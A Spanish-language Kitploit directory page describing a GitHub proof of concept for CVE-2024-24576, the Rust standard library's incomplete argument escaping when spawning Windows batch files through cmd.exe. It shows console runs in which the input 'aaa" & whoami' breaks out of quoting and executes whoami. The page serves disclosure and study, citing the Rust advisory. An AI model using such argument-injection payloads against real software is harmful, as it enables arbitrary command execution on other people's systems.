Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-24576-PoC — Ejemplo de caso de uso de CVE-2024-24576. | Kitploit
Herramientas/GitHubGitHub/frostb1ten/cve-2024-24576-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubfrostb1ten/cve-2024-24576-poc

CVE-2024-24576-PoC

Ejemplo de caso de uso de CVE-2024-24576.

Ver Repositorio
59101hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-24576 PoC

Las APIs Command::arg y Command::args establecen en su documentación que los argumentos se pasarán al proceso iniciado tal cual, independientemente del contenido de los argumentos, y no serán evaluados por un shell. Esto significa que debería ser seguro pasar entradas no confiables como argumento.

En Windows, la implementación de esto es más compleja que en otras plataformas, porque la API de Windows solo proporciona una sola cadena que contiene todos los argumentos para el proceso iniciado, y depende del proceso iniciado dividirlos. La mayoría de los programas utilizan el argv estándar del runtime de C, lo que en la práctica resulta en una forma mayoritariamente consistente de dividir los argumentos.

Una excepción es cmd.exe (utilizado, entre otras cosas, para ejecutar archivos por lotes), que tiene su propia lógica de división de argumentos. Esto obliga a la biblioteca estándar a implementar un escape personalizado para los argumentos pasados a archivos por lotes. Desafortunadamente, se informó que nuestra lógica de escape no era lo suficientemente exhaustiva, y era posible pasar argumentos maliciosos que resultarían en una ejecución arbitraria del shell.

Ejecutar el archivo main.rs con los siguientes payloads produce:

root@kitploit:~
C:\Users\frost\testing>cargo run
   Compilando testing v0.1.0 (C:\Users\frost\testing)
    Finalizado dev [no optimizado + información de depuración] en 0.49s
     Ejecutando `target\debug\testing.exe`
ingrese payload aquí
aaa
Salida:
Argumento recibido: aaa
root@kitploit:~
C:\Users\frost\testing>cargo run
    Finalizado dev [no optimizado + información de depuración] en 0.01s
     Ejecutando `target\debug\testing.exe`
ingrese payload aquí
aaa & whoami
Salida:
Argumento recibido: "aaa & whoami"
Descargar herramienta
root@kitploit:~
C:\Users\frost\testing>cargo run
    Finalizado dev [no optimizado + información de depuración] en 0.01s
     Ejecutando `target\debug\testing.exe`
ingrese payload aquí
aaa" & whoami
Salida:
Argumento recibido: "aaa\"
desktop-8j2vk8b\frost

Observe el argumento escapado con el " whoami

¡NO ES MI DESCUBRIMIENTO!

Fuentes: https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/